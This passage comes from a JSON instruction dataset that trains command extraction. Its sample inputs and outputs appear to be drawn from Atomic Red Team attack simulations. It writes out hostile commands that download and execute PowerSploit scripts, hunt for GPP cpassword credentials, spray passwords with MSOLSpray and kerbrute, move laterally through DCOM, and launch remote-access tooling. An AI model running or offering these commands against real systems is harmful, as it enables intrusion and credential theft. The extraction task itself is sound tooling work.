conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To view information about all shared resources on the local computer, run the following command: net share\n; The current user's accessible domain shares can be enumerated with the following PowerShell script that shows scanning progress: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose",
    "output": "{\"command_list\": [\"net share\\n\", \"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-DomainShare -CheckShareAccess -Verbose\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This PowerShell method creates a local admin user without net.exe by running: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1'); The encrypted cpassword value can be found in Group Policy Preference files by executing the command: findstr /S cpassword %logonserver%\\sysvol\\*.xml",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1')\", \"findstr /S cpassword %logonserver%\\\\sysvol\\\\*.xml\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For brute forcing Microsoft Online accounts using a single password, run the following PowerShell commands:\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\MSOLSpray.ps1\"\nInvoke-MSOLSpray -UserList \"#{user_list}\" -Password \"#{password}\"\n; To test a single password against multiple users, navigate to the ExternalPayloads directory and run the following command: \ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} \"PathToAtomicsFolder\\..\\ExternalPayloads\\passwordspray.txt\" password132 \n",
    "output": "{\"command_list\": [\"import-module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\MSOLSpray.ps1\\\"\\nInvoke-MSOLSpray -UserList \\\"#{user_list}\\\" -Password \\\"#{password}\\\"\\n\", \"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n.\\\\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\passwordspray.txt\\\" password132 \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To establish a C2 channel, the adversary might deceive the user into downloading Splashtop, which can be executed with the following command: Start-Process \"#{Splashtop_Path}\"\n; To achieve unattended remote interactive access, an attacker can launch Splashtop Streamer with this command: Start-Process -FilePath \"C:Program Files (x86)\\Splashtop\\Splashtop Remote\\Server\\#{srserver_exe}\"",
    "output": "{\"command_list\": [\"Start-Process \\\"#{Splashtop_Path}\\\"\\n\", \"Start-Process -FilePath \\\"C:Program Files (x86)\\\\Splashtop\\\\Splashtop Remote\\\\Server\\\\#{srserver_exe}\\\"\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For decoding a base64-encoded text string and echoing it to the console via Perl, use the following sequence of commands: ENCODED=$(perl -e \"use MIME::Base64;print(encode_base64('#{message}'));\")\nperl -le \"use MIME::Base64;print(decode_base64('$ENCODED'));\"\necho $ENCODED | perl -le 'use MIME::Base64;print(decode_base64(<STDIN>));'\necho $ENCODED > #{encoded_file} && perl -le 'use MIME::Base64;open($f,\"<\",\"#{encoded_file}\");print(decode_base64(<$f>));'; You can decode and display a base64-encoded text by executing this command: ENCODED=$(echo '#{message}' | base64)\nprintf $ENCODED | base64 -d\necho $ENCODED | base64 -d\necho $(echo $ENCODED) | base64 -d\necho $ENCODED > #{encoded_file} && base64 -d #{encoded_file}\necho $ENCODED > #{encoded_file} && base64 -d < #{encoded_file}\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d\nbash -c \"{echo,\\\"$(echo $ENCODED)\\\"}|{base64,-d}\"",
    "output": "{\"command_list\": [\"ENCODED=$(perl -e \\\"use MIME::Base64;print(encode_base64('#{message}'));\\\")\\nperl -le \\\"use MIME::Base64;print(decode_base64('$ENCODED'));\\\"\\necho $ENCODED | perl -le 'use MIME::Base64;print(decode_base64(<STDIN>));'\\necho $ENCODED > #{encoded_file} && perl -le 'use MIME::Base64;open($f,\\\"<\\\",\\\"#{encoded_file}\\\");print(decode_base64(<$f>));'\\n\", \"ENCODED=$(echo '#{message}' | base64)\\nprintf $ENCODED | base64 -d\\necho $ENCODED | base64 -d\\necho $(echo $ENCODED) | base64 -d\\necho $ENCODED > #{encoded_file} && base64 -d #{encoded_file}\\necho $ENCODED > #{encoded_file} && base64 -d < #{encoded_file}\\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d\\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d\\nbash -c \\\"{echo,\\\\\\\"$(echo $ENCODED)\\\\\\\"}|{base64,-d}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform PowerShell lateral movement via the MMC20 application COM object, use the following command: [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.application\",\"#{computer_name}\")).Document.ActiveView.ExecuteShellCommand(\"c:\\\\windows\\\\system32\\\\calc.exe\", $null, $null, \"7\"). This will spawn calc.exe on the remote computer upon successful execution.; This technique leverages Excel COM objects for lateral movement, executing calc.exe remotely with this command: copy c:\\windows\\system32\\calc.exe 'C:\\users\\#{user}\\AppData\\local\\Microsoft\\WindowsApps\\foxprow.exe'\n$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(\"Excel.Application\",\"#{computer_name}\"))\n$com.ActivateMicrosoftApp(\"5\")",
    "output": "{\"command_list\": [\"[activator]::CreateInstance([type]::GetTypeFromProgID(\\\"MMC20.application\\\",\\\"#{computer_name}\\\")).Document.ActiveView.ExecuteShellCommand(\\\"c:\\\\windows\\\\system32\\\\calc.exe\\\", $null, $null, \\\"7\\\")\\n\", \"copy c:\\\\windows\\\\system32\\\\calc.exe 'C:\\\\users\\\\#{user}\\\\AppData\\\\local\\\\Microsoft\\\\WindowsApps\\\\foxprow.exe'\\n$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(\\\"Excel.Application\\\",\\\"#{computer_name}\\\"))\\n$com.ActivateMicrosoftApp(\\\"5\\\")\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
